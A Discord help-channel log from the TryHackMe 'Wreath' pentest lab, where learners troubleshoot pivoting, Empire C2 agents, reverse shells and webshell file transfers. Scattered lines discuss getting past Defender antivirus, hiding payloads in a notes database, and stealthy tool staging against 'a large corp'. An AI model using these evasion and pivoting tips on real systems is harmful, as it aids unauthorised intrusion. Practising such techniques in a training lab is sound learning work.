wreath-network

[strange bison]

file nmap-Alex

wget won't work there

[sly spear]

I used curl to get it on prod

[strange bison]

Well, you have a webpage rather than a binary

[sly spear]

I'll try to redownload once I get my VM back up. It wanted to crash lol. Thanks!

[strange bison]

Maybe wget'll work, but you've ended up with a webpage. Maybe your python server 404'd?

[sly spear]

I'm not sure what the issue was. I don't know if it was trying to run the webpage, because it redownloaded as the same size.

But I redownloaded it and put in on prod-serv. Seems to be working now though

Thank you guys for the help! ❤️

[rapid turret]

Are there a way that i port forward to the git server and from there use a proxy(or port forward )to reach the pc?

[next imp]

anyone know the syntax to delete a listener in empire? cant find the syntax anywhere, i tried kill but it says the listener is stopped

[merry robin]

remove LISTENER 🙂

[next imp]

that was one of the commands i tried

[merry robin]

Huh. The command is in the room, I believe. Let's see

Oh, or not. Oops

Oh, you're trying to kill a listener?

Sorry -- thought we were talking agents

Yeah, it should be kill

[next imp]

ah im getting weird errors it dont bother me anyway

[merry robin]

How strange

[next imp]

yeah if you havent notice computers always have a way for going wrong with me

yet it has always failed to stop me from computering

[merry robin]

That's the spirit

[obtuse oyster]

Hey, I'm banging my head against the wall trying to get the bonus question of part 13 (encrypted relay or forward with socat). I always seem to get the E unknown device/address "openssl-listen" error. Any hint of what I should look for?

[next imp]

anyone familiar with the most recent version of starkiller? im using a version that is different from that in the network's tasks and trying to create an http_hop listener. where i specify my RedirectListener, instead of a dropbox or something, its a text input and when I type the name of my listener, it doesn't create anything. thanks for your help

[solemn dome]

anyone else having issues with the powershell-empire listener crashing as soon as the stager connects? https://imgur.com/a/mT8Q0I7

[lilac jasper]

my sshuttle is not working, so is there another way to do ??

is it because i am using wsl2??

[hard mortar]

wsl2 isn't really meant for pentesting

it certainly wont help

[lilac jasper]

okay

is there any other way to do so

??

but without that i can't run the 43777 exploit know??

[hard mortar]

you really should be using a VM

im sure there's probably some way around it, but the networking capabilities of WSL are severely lacking

[surreal sail]

Hi, can anyone explain to me what the '&' means in this one-liner? for i in {1..255}; do (ping -c 1 x.x.x.${i} | grep "bytes from" &); done

[lilac jasper]

@hard mortar i was using VM but the drive was crashing again & again even after giving sufficient drive space

that's why

[blissful void]

hii guys i m on task 13 (socat)of wreath network

and i m trying that bonus part at the end of it .

i m not understanding that port part of it.

now for port forwarding (socat) it was like

./socat tcp-1:33060,fork,reuseaddr tcp:10.10.10.10:3306

target here is 10.10.10.10:3306

[round tree]

How long does it take for the network to start

[merry robin]

@surreal sail it backgrounds the command inside the brackets, essentially executing all of the scans in parallel

@round tree maximum of 5 minutes

[lavish nest]

Thank you for extending the reset from 6 to 8

[merry robin]

@lavish nest it's dynamic depending on how many people are in that instance of the network

[lavish nest]

ok

[surreal sail]

I just wanted to say thank you. It was a lot of fun! :)

[lavish nest]

ufff , whoami nt authority\system 😆

I have finished "wreath", thanks for the challenge, I have learned a lot.👍

[surreal sail]

Thanks!

[humble lintel]

how to find the server side lang version on 3rd server

the extension is not giving me anything

[merry robin]

Refresh the page? @humble lintel

[humble lintel]

I did multiple times

[merry robin]

Try turning off the proxy and using it on something like Google?

[merry robin]

Ok -- now turn the proxy back on and try it on .100?

[humble lintel]

i have done port forward

2021/04/01 06:53:54 client: Connecting to ws://10.200.85.150:23456
2021/04/01 06:53:54 client: tun: proxy#8088=>10.200.85.100:80: Listening
2021/04/01 06:53:56 client: Connected (Latency 157.851067ms)

[merry robin]

Ah, in that case there's no good reason for it to not have been finding the header

Try intercepting the request with Burpsuite and see if you can see the headers manually

[humble lintel]

GET / HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: security_level=0; language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; csrftoken=oqx69kfUatQhY0TKCK0J1x6SEa1w1d8X; sessionid=c62acf544b346c58c22680bccd2aab47; JSESSIONID.d7ed7594=node0acdj4ow8ras21bdbk0ei8kpab0.node0; JSESSIONID.a8e4d566=node01mrjxx1ee39frj4zb72gqbcly1.node0; screenResolution=1920x972
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sun, 08 Nov 2020 15:46:48 GMT
If-None-Match: "3dc7-5b39a5a80eecc"
Cache-Control: max-age=0

[merry robin]

The response will be more useful

There you go

There's a version in there

[humble lintel]

Thanks a lot 😌

[merry robin]

Np 🙂

[ancient harbor]

@merry robin finally got to reverse shelling the ||gitstack|| through ssh-tunneling the connection to attack machine. Gateway ports in sshd_config setting helped, great advice

[merry robin]

Ayeeee, nice!

[humble lintel]

How big is Website.git ?

[merry robin]

2.3 Mb

[next imp]

still need some help troubleshooting if anyone is up too it. ive followed the tasks and dark's videos to a T but everywhere on the starkiller UI, listeners, etc, it just says no data and i cant select anything, has anyone encountered this?

[merry robin]

I would suggest asking the BC-Sec guys directly tbh @next imp
They're really good at keeping on top of bugs

[next imp]

alr

[next imp]

ive tried switching around alot between the versions because i was having issues with getting my gitstack listener on empire-cli, it would always stop at stager 2, but the agent would be in red, you think you could help me out?

[merry robin]

That sounds like the normal http_hop problem that's got a fix but doesn't seem to have hit the repo yet

[next imp]

ah

is it possible to continue the network without an agent on it? could i continue with just normal shell access?

[merry robin]

Yep, it's designed that way

You can technically skip the entire Empire section and still finish the network just fine -- although the Empire stuff is really good to learn

[next imp]

cool cool thanks muir

[ancient harbor]

OT: when fellow hackers use strong passwords for their admin accs 😄

[strange bison]

I think mine was password

[lyric bane]

I got a ||potato past the AV||.

[normal sierra]

Anyone else getting a Error 502 when trying to downlaod the OVPN

[merry robin]

@lyric bane just check that the AV is actually still on. I know it's been disabled a few times on various subnets.

Otherwise it'll just be the fact that Defender is mildly hopeless.

[scenic cargo]

(Cross posting from #room-help )

---

Wreath -- (Hop) Shell dies right after I receive it. Did this happen with anyone?

Same in starkiller

https://media.discordapp.net/attachments/522158539129618453/827230618545946674/unknown.png

[merry robin]

@normal sierra which subnet?

@scenic cargo it's a glitch in Empire that has a fix which has apparently not made it across to the main repo yet.

[scenic cargo]

oh

[merry robin]

I swear there's a note for this in the task

[scenic cargo]

sheet, my bad. Let me go through it again, thanks!

[merry robin]

Oh, it's the next task. The bug changed a little between versions.

All good 😄

[normal sierra]

@merry robin idk it just stays like that and when I download I get a 502

[scenic cargo]

no probs, thanks!

[merry robin]

@normal sierra show me your network map?

[normal sierra]

10.200.71.200

[merry robin]

Leave and rejoin the room @normal sierra

[normal sierra]

still wont work

[merry robin]

Did the 71 change to something else?

[normal sierra]

no I got placed back into 71

[lyric bane]

I tested defender by uploading a metasploit payload and a ||Juicy potato||. It quarantined both of them so assume its still working. So I ended up using || PrintSpoofer||.

[merry robin]

Ah, yeah, printspoofer goes straight past defender -- it's hilarious

Like, try it on your host if that runs defender

[lyric bane]

I actually shut off defender through Group Policy's because it quarantined my OSCP md notes and marked them as malicious 😂 . It gave me a huge scare when I woke up and saw that my notes vanished.

[merry robin]

This is why you use Cherrytree

[hard mortar]

obsidian ftw

[merry robin]

I haven't had time to mess around with it yet, but I'm 90% sure I can use Cherrytree as an AV bypass

[hard mortar]

its happened several times for me, smhmyh

[merry robin]

I have so many payloads in my notebook that Defender goes nuts over if I extract out, but inside the SQLite DB Defender doesn't even notice

That combined with the fact you can execute programs from within cherrytree 👀

[normal sierra]

@merry robin is there anything else I can try?

[lyric bane]

That's interesting. I'll do some research on that. So what word processor do you use to write your reports? Markdown just does a great job formatting code boxes.

[dry pendant]

How useful/effective is that? I haven't played with it much but didn't see a way to execute it and see the output

[merry robin]

@limber rover could you possibly move ktndlly out of 71?

[merry robin]

Cherrytree

I keep all my notes in a single cherrytree doc

[normal sierra]

so the OVPN isnt downloadable for that subnet?

[merry robin]

That subnet doesn't actually exist

[normal sierra]

thats cringe

it has 5 reset votes

so there are more people stuck here

[merry robin]

Oh, you can execute code boxes with F5, and embedded files by double clicking on them iirc

[dry pendant]

any way to see output from that, though? Like even just exit codes? I've tried that only a few times and didn't see any indicator that it ran, successfully or otherwise

this is just with code (python or shell) in code boxes, not embedded files. Never tried that

[merry robin]

I think that will depend on the program. Try putting an input() (or something else blocking) at the end of the code box

[normal sierra]

It now works, thanks @merry robin and @limber rover

[dry pendant]

Thanks, James. I'll play around with it some more at some point. I always thought that was a major cool feature of CT, but haven't really used it at all

[scenic cargo]

Thanks, downloaded and setted up old version, working fine! 🕺

[merry robin]

@fervent obsidian would you be able to look into that? It doesn't seem to have hit the main Empire repo -- was the fix just pushed to the Kali apt repo?

[dry pendant]

do you know what line of code is causing that? I haven't gotten to that part of the room yet

[slow cove]

Can I suggest something ?

[merry robin]

I'm sure you're about to anyway @slow cove

[dry pendant]

I suggest James and Muiri make more awesome networks. That's my suggestion 😉

Also, it's really throwing me off that you two switched avatars

[final olive]

Hello gys i cant get a net cat listener

any ideas pls

[slow cove]

facts

[final olive]

What port is best to for reverse sehll

reverse shell

[slow cove]

The room is FKIN AWESOME like literally 0 things to talk about just a little suggestion It will be a little better if you added a VM on the pivoting part because god damn alot of info to chunk in that is it . because I had to make my own lab and test on it

[slow cove]

1337 XD

[merry robin]

That's what the network is for though?

[dry pendant]

anything open. Doesn't really matter. Many people use 4444, 8888, 1337

[slow cove]

YEP YEP , but you will forget the ways and so on until you reach task 17 , so it will be a little better to practice directly once learning then proceed so we can make the things learned click

[dry pendant]

My plan is to come back after I've finished it and practice pivoting in different ways

I think it's pretty difficult to do that with a single VM, and there currently aren't many networks to practice with

[slow cove]

yeah that's what I did I made a little lab and practiced pivoting before proceeding to task 17

[merry robin]

Ideally you would use a common port (80, 443, 25, 53, etc)

[slow cove]

other than that the room is damn insane 0 comments

[merry robin]

Purely to bypass egress firewalls / IDS, etc

[merry robin]

Yeah, not sure how to put anything else in there given it would have to be on the same network, but worth considering

[dry pendant]

Just out of curiosity, how did you make that? VMs on a local machine?

[final olive]

It says [*] If this is not the case, please check your IP and chosen port
If these are correct then there is likely a firewall preventing the reverse connection. Try choosing a well-known port such as 443 or 53

it has been the case with 1337 too

[slow cove]

Download an UBUNTU machine , metasploitable , and your attacking machine Kali in my case and connect the ubuntu machine to 2 networks 1st network is the one that your attacking machine is connected to and the 2nd network is the one metasploitable is connected to ofcourse.

and like that that kali is not interacting with metasploitable

ubuntu is the middle man

@dry pendant

[slow cove]

yeah trust me it's really good when it comes to beginners

[ancient harbor]

Yeah. But man, I once had an AV which break my pass-protected cherrytree. Cherry does create files in %temp% and when the AVs get hold onto that, all kinds of weird stuff ensue. Mind you, it was the 0.3x version or something

[merry robin]

Odd

[dry pendant]

Sadly, CT IS a bit buggy. I've had it crash numerous times. A friend had it crash and delete the entire folder the note database was in

[merry robin]

smh

Leave my CherryTree alone

[dry pendant]

Hey, I love ct, and use it every day, on multiple machines, work and personal

just saying- it has a few quirks

but considering it's a) free b) being written by one guy in his spare time, plus a few side contributors, I can't really complain

[merry robin]

I'm very tempted to get involved and try contributing some stuff

[dry pendant]

I'd love to also, but there's never enough hours in the day. I used to contribute to open source a long time ago, but..... ⏱️

[ancient harbor]

Yeah, same here. I practically used it instead of everything else.
Although, it learned me about the value of backups - the hard way :D

[dry pendant]

There was one year I had 2 or 3 major hard drive failures in the span of a month. Definitely caused me to invest in better backups

[merry robin]

Yeaaaaah, my notes get pushed to github every 12 hours

[dry pendant]

I use macrium for system backups. It's saved me a couple times. Even good just for HD migrations

[sly spear]

How long does Mimikatz usually take to load? I'm on task 21

It's loaded part way. But I can't type any commands. It's been about 5 minutes or so

Hmmm works with cmd. Powershell gives issues

[scenic cargo]

same 😁

rsync to get all folders (to sync) then push every 2 hours.

[lyric bane]

Does wreath have a certificate generator?

[strange bison]

Unfortunately no

[merry robin]

Its badge does though

[lyric bane]

It's badge?

[merry robin]

It gives a badge when you finish it

[pallid vapor]

badge can make a sort of cert

[ancient harbor]

Yep. But then again, you have invoke mimikatz powershell script in powersploit, which worked fine last time I tried it

[strange bison]

#infosec-general please

[sly spear]

[normal sierra]

is the 110 subnet down?

I cant connect to 110.200

[hard mortar]

1. Refresh the page and make sure the networks running
2. You're connected to the Wreath Network VPN, right?

[normal sierra]

Network is running, I am connected

I generated a new ovpn file as well

[paper wasp]

when i download the config file for wreath it's an html doc

[merry robin]

What subnet are you in?

[paper wasp]

what do you mean? i'm not connected

[merry robin]

Can you show me the network map?

[paper wasp]

i'm essentially stuck on task 2

[merry robin]

What is your first target

If there's a 71 in it, leave the network and rejoin

[pallid vapor]

😂

thm site confuzzled

[fervent obsidian]

The main repo is 30 days behind Kali since they get exclusive access. Everything should be hitting the main repo next week so they will be sync'd up again.

[lapis yacht]

Very good job with Wreath, I'm learning a lot...

Very nice job, Thanks

[thorny sonnet]

I need help. I have a activ VPN to the Wreath Network and i can ping the 10.200.72.200 but i can`t connect with the CVE 🥺 I work with a Kali on VMWare Workstation

[simple trail]

just got 2 agents at Task 29. whole thing is astonishing good

although, one thing confused me.

Both the reverse shell we received way back in task 19, and our evil-winrm access are already running in Powershell, so we would need to adapt the stager generated for us by Empire in order to use them. Instead, it is easier to use it with the webshell we originally used to compromise the machine

I got both agents from evil-winrm and webshell

evil-winrm gives me Git-SERV\Administrator since i login in as the admin

webshell gives me Workgroup\System

I used the same stager without adapt or any changes. It's worked

[merry robin]

How are you running the stager from evil-winrm?

[simple trail]

copy the stager payload from starkiller. paste it and run

[merry robin]

Odd -- that was throwing a bunch of errors for me in testing. I'll have a look into it again and see if evil-winrm has had a nice upgrade 👍

[simple trail]

yeah, i'm on the evil-winrm v2.4

[simple trail]

ehm, the agent from evil-winrm not functional when running module.

the webshell one working as expected.

[crude drift]

Ur machine ip will be different from the example given

[merry robin]

Not necessarily

[merry robin]

Could you please screenshot your network map?

[thorny sonnet]

how I do that? 😅

[crude drift]

Ok but I was just noticing that the ip differs so

[merry robin]

See the top of the screen in the room where it shows you three machines?

Screenshot it

[thorny sonnet]

that 😅

[merry robin]

Yesss

Do me a favour: leave and rejoin

You're in my dev network

[thorny sonnet]

ohh ok

[merry robin]

Let me know if the IPs don't change

[thorny sonnet]

ok now i have other ip`s 😊

[merry robin]

Perfect 🙂
Download a new VPN connection pack then have fun!

[thorny sonnet]

ty 🙂

[pallid vapor]

dev dev dev dev network

[lyric bane]

Just submitted a write up. Whats the time frame foe when they get reviewed and posted?

[sly spear]

Whoop!

[shrewd atlas]

Hey, I just saw this. It says 9 days of access left. Is that for everyone or is it a personal timer? I wouldn't have joined the room right now if I knew it triggered a timer, lol

[latent spoke]

#wreath-network message 🙂

[merry robin]

Right now I'm just reading them as they come in. They'll all be posted at the same time on or around the 7th when the competition ends 🙂

Is there a difference between the two links you submitted?

[dry pendant]

You can rejoin after that timer expires, it's just to conserve resources for people who aren't actively using the room

[sly spear]

Will it reset anything I already had on the network?

[merry robin]

You might be in a different subnet, in which case effectively yes

[sly spear]

Guess I better hurry then haha

[merry robin]

However, the network is set up specifically to have good breakpoints -- the SSH key and Admin hash

It's possible to get from no access to the third box in under 30 seconds on a new subnet

[sly spear]

Easy enough! I'm on the Starkiller phase, so I think I can do it. Thanks for the response

[blissful void]

MrRobot user is in administrators and remote management group but i m still getting this error

i m on task 21 wreath

[sly spear]

Are you running cmd as administrator?

[blissful void]

yes

i have added MrRobot user in administrators group

[blissful void]

oh i have to run cmd as administrator ok.

[blissful void]

thanks man

[sly spear]

No problem! Did that work?

[stone ivy]

I'm having some weird issues with empire on the gitserver

When I execute the stager I get an agent back

However, whenever I try to execute any commands or modules I don't get any responses back

and if I am in the CLI and I attempt to interact with the agent it tells me to enter a valid agent name even though I am sure I am entering the correct agent name

It's almost like it launches and then immediately dies.

Has anyone dealt with this before?

[merry robin]

It's a little bug with Empire just now @stone ivy

There's a fix implemented -- just not quite hit the main repo yet

[stone ivy]

Alright, thanks

[fleet badge]

hey, i have a question. when i use sshuttle with the command ||sshuttle -r root@10.200.110.200 --ssh-cmd "ssh -i wreath_rsa" 200.110.200.0/24 -x 10.200.110.200|| it does not work. I use jobs after and it tells me that the process stopped. Can you help me out? If i try to access the webpage it loads till infinity

[dry pendant]

Do you get an error message when you first execute the commadn?

[fleet badge]

no, its saying c : Connected to server.

[dry pendant]

I'm not sure offhand, then. I'm sure somebody else will chime in with an idea

[fleet badge]

i hope so hehe. btw. with ssh forwarding i have no problem but i would like to make it work with sshuttle

[pallid vapor]

it seems that the sshuttle worked

its not backgrounded so its not in jobs

[fleet badge]

ok any idea what i am missing?

[pallid vapor]

just open 2 terminals or smthing

run sshuttle on one term and another cmd on another

to access box 2/3 i forget

[fleet badge]

i want to access gitstack but connection always times out :/

[pallid vapor]

hm

[merry robin]

Are you pressing Ctrl + C after the connection completed message?

[fleet badge]

no, not at all

i put it in the foreground now and it seems to work but still timeout

[merry robin]

And is that a copy/paste of the command you're using?

[pallid vapor]

i would not background it if i were u

[merry robin]

Because you're not forwarding the right subnet

[pallid vapor]

oh yeah and that ^^

[merry robin]

200.110.200.0/24

Try 10.200.110.0/24

[fleet badge]

ok that could be it then ^^

[pallid vapor]

oof

[fleet badge]

oops sometimes its to obvious. thanks a lot

Thanks its working now like a charme hehe

[lyric bane]

No, It should be the same link to my google drive. I'm not sure why it submitted twice.
I didn't include a resource section because ever source is embedded when its mentioned throughout the report.

[merry robin]

All good. I'll delete the second link, so don't be alarmed when you get a rejection. The other one will still be there (and looks great)!

[lyric bane]

Thank you!
If there are any typos that made it past my spell check I'll be glad to resubmit with a fix.

[jagged lion]

>

[merry robin]

Think you've mixed greater than up with less than there Cry

[jagged lion]

Holo has officially reached a higher task count than wreath so it is greater than

[merry robin]

Not a higher task quality though.

And you have yet to have an original design idea

You also have quite literally double the number of machines to work with, so you need more than double the number of tasks before I'm impressed 🤷‍♂️

[jagged lion]

tbf you just rambled a bunch

we dive deep into what is actually practical

[merry robin]

At least my ramblings make sense and are relevant 😁

[strange bison]

And a thick Invernessian accent

[merry robin]

My accent is not thick!

[stone ivy]

Should running just "curl.exe" in the PHP webshell return something? certutil.exe does, but curl.exe does not

and when I try to curl my copy of nc.exe nothing is hitting my webserver

I can run other commands, so I know my webshell is good

I tried hosting the web server on common and uncommon ports just in case it was a firewall issue

[dry pendant]

Shouldn't it be n^2? We're talking about a fully connected graph, right? 🙂

[strange bison]

actually it's 2^n, just to make it worst case. Exponents are fun.

[dry pendant]

big O can be a drag sometimes, eh?

[worthy garden]

I'm sorry if this is not the correct forum to ask, but i'm getting this message on Wreath room page. i thought this room will be available for some more time.

[ancient harbor]

sorry, but rt(f)m, mate 🙂

[worthy garden]

Ok, what's that in playing english please.

[ancient harbor]

read the manual 🙂

[ancient harbor]

On the topic of CT as an AV bypass :-)))

[merry robin]

Well that's irritating.

Bang goes that theory

Oh, but it didn't manage to quarantine?

Interesting

[ancient harbor]

Because I left it open - but it crashes your DB anyway

on save it errors:
!! sqlite3_prepare_v2: no such table: codebox

[stone ivy]

I still can't get curl to work in task 40. I have my pivoting set up with sshuttle and chisel. I can run simple commands in the webshell such as "systeminfo" or "dir" however when I try to use curl nothing hits my webserver. I have tried plain text and url encoding and I have tried curl and curl.exe with no luck

I tried using the webshell to ping the address of my attack box and capture it with a tcpdump and I was not seeing any activity

Is there something I am doing wrong with the pivoting?

I also tried serving the file on the .200 machine and when I try to curl a file off it nothing happens either

[merry robin]

Try encoding and sending powershell.exe -c "curl.exe -h" 2>&1

Should probably do it that way actually

[stone ivy]

Should the curl help menu show up in the browser?

Because I just executed it and nothing happened

[lusty robin]

Hi all - Anyone else having / had issues pulling the Website.git folder down using evil-WinRM? I can pull individual files (like HEAD) but if I try to pull the full dir I just get Error: Download failed. Check filenames or paths - I've tried with relative paths and absolute paths, but same difference

[merry robin]

Check to make sure you have write access in the directory you're downloading to, or do:
download Website.git /tmp/Website.git to be sure

[stone ivy]

Are you issuing the command from the directory just above Website.git?

[merry robin]

Yes, it should

Honestly not sure what's going on there. If you want to disconnect and DM me the config pack I can check manually, but you'll obviously have to get yourself back to that point

[lusty robin]

Yeah from within the repo dir I've tried relative. I've also tried full / absolute path - I have write access my side (been able to pull individual files from within the dir itself)

[merry robin]

Can you screenshot your prompt?

[stone ivy]

By config pack you mean my VPN file?

[merry robin]

Yeah

[stone ivy]

Disregard, turns out I'm just a massive idiot

for some reason I had quotes around my parameter in the URL

which was breaking it

[merry robin]

Ah, yeah, that wouldn't help 😄

[lusty robin]

Ah fixed it - Using a media device as my write point - Doesn't like : in the filename (the C:\etc)

[merry robin]

Ah, faiiir

[lusty robin]

Thought I was going mental for a few minutes there and would have to go manually through - Had a similar issue trying to chmod a ssh key at one point 🤦‍♀️

[crimson trail]

Any issue going on with getting a stable empire agent?

[slim ember]

i am geting this when i execute starkiller stager script on machine with both described ways...anyone know whats the problem?

[blissful void]

task 33

i m getting that retrying error

[lilac jasper]

kash@DESKTOP-7K6I4IF:~$ sudo gem install evil-winrm
sudo: gem: command not found

can someone help me

[strange bison]

Install ruby

[lilac jasper]

okay

[blissful void]

i have a question . how can i access the website on (10.200.86.100) pc

my proxy setting

on kali chisel

on 10.200.86.150 machine (evil-winrm)

i have done all but

btw i m on task 33

[hard mortar]

client differs from server version

they need to match

[hasty raptor]

Huh that looks like an issue between starkiller and the empire server which is odd. @fervent obsidian. Any ideas?

[blissful void]

yeah i know i use chisel from github for 10.200.86.150

[hard mortar]

for whatever reason the client is report 0.0.0-src

[blissful void]

and apt install chisel for kali

[blissful void]

ok

[hard mortar]

make sure you're always getting the latest release from github

https://github.com/jpillora/chisel/releases/tag/v1.7.6

[blissful void]

but i m using 1.7.6 version

[lilac jasper]

go in preference and then settings

in firefox

[hard mortar]

the client isn't bt the looks

[lilac jasper]

it will work

[blissful void]

ok

[blissful void]

i did but still

not working

[dry pendant]

I'm a little confused on how to get socat onto the .200 machine. The static binaries at the github repo linked in the page don't actually contain binaries, just dockerfiles. Will running the static-binaries/socat/build.sh even be viable?

nevermind, I'm an idiot. I didn't see the binaries folder

[blissful void]

has anyone done task 33 of wreath network (the part where u have to access the website running on personal pc )

[dry pendant]

i haven't gotten that far

[blissful void]

ok

[fervent obsidian]

I don’t think empire can run with python 3.6 anymore. It should be 3.8+

[dry pendant]

I'm having trouble getting the reverse shell in task 20. I've created a socat relay on the .200 machine (I think?) and started a nc -lvnp 4444 listener on my attacking machine. Then I curl post'd the powershell code, but it fails to connect. Here are the commands and output I ran on the .200 machine: https://pastebin.com/AStZqZYJ

there's a typo in the ip in the powershell payload above (20. should be 10.). I fixed that, but still having the same problem/no connection. I've also tried executing the powershell command directly on the .150 using my pseudo-shell program I created (bonus challenge from a previous task). Nothing has worked so far, just the same interrupted system call/broken pipe error

my guess is that the socat command is not correct, but if that's wrong, I don't know what the proper syntax is

[dry pendant]

so I guess I must be doing the relay wrong, and would certainly appreciate any tips/insight there. But doing just a socat tcp-l listener on the .200 machine allowed me to forward the requests from the powershell payload and get a reverse shell from .150 back to my attacker machine

[waxen crest]

Guys Why wreath is telling me that I can’t use it ? It says resetting

I have use it a week ago but now not sure what’s wrong

[dry pendant]

probably because enough users voted to reset it. Wait a few minutes and it should be back up. Might need to refresh the page

[waxen crest]

I did it says that since yesterday

[dry pendant]

verify your profile and post a screenshot of the top part of the page (the network graph and status)

!docs verify

[thin crescent]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[waxen crest]

I have deleted my VPN and try to re-downloaded but it says wrong page

[dry pendant]

"it" meaning what? the vpn file download page? or the vpn file itself?

[waxen crest]

I can’t download it

It says wrong page @

[dry pendant]

I don't know, I'm not sure where you're seeing that. Best I can suggest is to maybe try 1) leaving the wreath room 2) re-join the wreath room 3) download a new vpn file at the https://tryhackme.com/access page

[waxen crest]

When I click on download

But first I need to know why I can’t download the vpn key

[strange bison]

Leave the room and rejoin

[dry pendant]

I think that the 10.200.71 subnet is Muiri's dev/test network (might be wrong there, it might be .72?). I'd try leaving the room, maybe wait a few minutes, then try rejoining the room and generating a new vpn file

[strange bison]

72 is dev

71 is broken and shouldn't exist

[dry pendant]

twilight zone net? Schrodinger net? Spooky 😉

[waxen crest]

Well when I leave the room and return back to it it shows me that I’m still in the room with the 71 ip

[strange bison]

@merry robin What's the fix for the haunted 71?

[waxen crest]

It fixed now

Thank you guys for your help ♥️

[dry pendant]

I don't know if it's an issue, but the windows server manager on .150 is showing that the amazon ssm agent service terminated unexpectedly and restarts... a lot

[merry robin]

@strange bison leave and rejoin.

Or failing that, ask Skidy for a manual move

[strange bison]

Neat ok

[dry pendant]

manually go into aws and nuke the subnet?

[merry robin]

Nah -- it's the template the others are cloned from

[strange bison]

71 or 72?

Because poor 71

[merry robin]

71

72 is the dev

[dry pendant]

is it possible to join the same subnet as somebody else? A friend and I were going to maybe experiment with the collaboration c2 features

[merry robin]

No, but you don't need to be as long as the C2 server has access to an instance of the network

[dry pendant]

ahhh, neat. So even being in different subnets, we could still share that?

[lilac jasper]

kash@DESKTOP-7K6I4IF:~$ sudo gem install evil-winrm
Building native extensions. This could take a while...
ERROR: Error installing evil-winrm:
ERROR: Failed to build gem native extension.

current directory: /var/lib/gems/2.7.0/gems/ffi-1.15.0/ext/ffi_c

/usr/bin/ruby2.7 -I /usr/lib/ruby/2.7.0 -r ./siteconf20210404-69-hnkb6.rb extconf.rb
mkmf.rb can't find header files for ruby at /usr/lib/ruby/include/ruby.h

You might have to install separate package for the ruby development
environment, ruby-dev or ruby-devel for example.

extconf failed, exit code 1

Gem files will remain installed in /var/lib/gems/2.7.0/gems/ffi-1.15.0 for inspection.
Results logged to /var/lib/gems/2.7.0/extensions/x86_64-linux/2.7.0/ffi-1.15.0/gem_make.out

[merry robin]

Yep, as long as the C2 has access

[lilac jasper]

can someone help

[strange bison]

environment, ruby-dev or ruby-devel for example.```

[lilac jasper]

okay

[strange bison]

Make yourself a kali VM. Will be much easier than carrying on with WSL2

Also, try to read error messages before asking here. Half the time they tell you exactly what to do.

[lilac jasper]

i am using ubuntu

[strange bison]

In windows?

[lilac jasper]

okay @strange bison Thank you

[strange bison]

As WSL?

[lilac jasper]

yes

@strange bison Done

apt install ruby-dev

and it worked

[strange bison]

WSL is pain for hacking. I highly recommend against it

[dry pendant]

empire seems to be stuck on the 'starting restful api' stage. Any thoughts why this might be?

when I load the page in the browser, I get the cert warning, but then just a blank page.

i can connect withj starkiller though, that seems to be working

but I do get a 'failed to connect to socketIO' warning/error in starkiller

[scenic cargo]

Is this intended in the AV evasion part? I just used exiftool, injected simple RCE oneliner, and, it's working on the server as well.

I think maybe this task was just to show PHP code's obfuscation.

[merry robin]

@scenic cargo Defender is very erratic about whether or not it picks that bit up -- it caught it when I wrote the task, but the AV has been updated since then

[scenic cargo]

Awesome, thanks! Yeah, AV is working, tried the msfvenom binary and it got deleted ASAP.

[granite trail]

welp...wreath was very meh

[merry robin]

Gotta love a good troll, dontcha

[vocal quail]

I think someone was trying to use a replay attack against my attack box on the wreath network....

i disconnected from the VPN to be safe

[merry robin]

What makes you think that?

[vocal quail]

Tons of the following:

2021-04-03 14:19:49 TLS Error: incoming packet authentication failed from [AF_INET]52.213.119.176:1194
2021-04-03 14:20:05 Authenticate/Decrypt packet error: bad packet ID (may be a replay): [ #5 / time = (1617484775) 2021-04-03 14:19:35 ] -- see the man page entry for --no-replay and --replay-window for more info or silence this warning with --mute-replay-warnings

in my openvpn terminal

[merry robin]

Not sure about relay attack, although the VPN doesn't seem happy

@strange bison is that one we're seeing just now?

[strange bison]

hmmm?

[merry robin]

VPN lots of packet auth errors

[strange bison]

I don't know what you're asking

But no, that's not normal

[merry robin]

That answers that then

Which subnet @vocal quail?

[vocal quail]

.93

10.200.93.0/24

[merry robin]

@limber rover you able to check the VPN logs for 93? Unusual error up there: #wreath-network message

[vocal quail]

Btw, just to help with the timestamps, I can confirm that I am Pacific Time zone, which matches the errors I received.

[scenic cargo]

Completed Wreath, it was real fun.

Can't imagine the things the author might have learned while creating the room, the errors, the writing, the research.

I definitely learnt a lot! ❤️

[dry pendant]

congrats!

[clever crest]

In terms of stealth/minimizing risk, which technique is preferred when pivoting/post-exploitation: static tools vs a tunnel/proxy? Going through the Wreath room ATM.

[sacred topaz]

I'd recommend a combination of Chisel and SShuttle for Wreath

Detailed in the tasks ^

Oh you asked which is stealthier

[clever crest]

Oh I'm going to be playing with all the techniques a lot. 🙂 Was more curious from a discussion standpoint, outside of the contents of the room; If you wanted to minimize your personal risk when poking a large corp.

[sacred topaz]

Static tools, so you're in and out.

[clever crest]

Would you personally create a temp stash directory of static tools on a host, to help with cleanup?

[sacred topaz]

Yeah, it's very situational. I am speaking from my own personal preference.

Others will have the opposite opinion, both work though.

[clever crest]

Gotcha. Just trying to understand the ripples/waves my technological flailing about in the murky depths of networks cause

[dry pendant]

right there with ya on that one

[clever crest]

Any fancy way of getting tools onto the box, or the good old python web server them over?

[strange bison]

Honestly, SCP?

SCP is, IMO, easier than a webserver when you have full SSH access

[dry pendant]

butterflies? https://xkcd.com/378/

xkcd: Real Programmers

Real programmers set the universal constants at the start such that the universe evolves to contain the disk with the data they want.

[clever crest]

Yeah, no argument here. What about a low-priv shell or windows?

[strange bison]

Low priv, depends how low because you can usually get SSH with keys.
Windows? Certutil, InvokeWebRequest, or maybe smb?

[dry pendant]

do you generally try to make use of various "live off the land" utils?

[clever crest]

whom, me? I'm still getting up to snuff on what can be done. Once I've gotten a better handle on that, I'll start looking at doing what needs to be done with LotL or Static binaries.

[dry pendant]

no, not you specifically, that was meant for anyone, but particularly for the most experienced folks

[strange bison]

Definitely certutil gets picked up in logs/av now I think?

Like abusing certutil

https://lolbas-project.github.io/#/download - there's a whole lot of ways here

[clever crest]

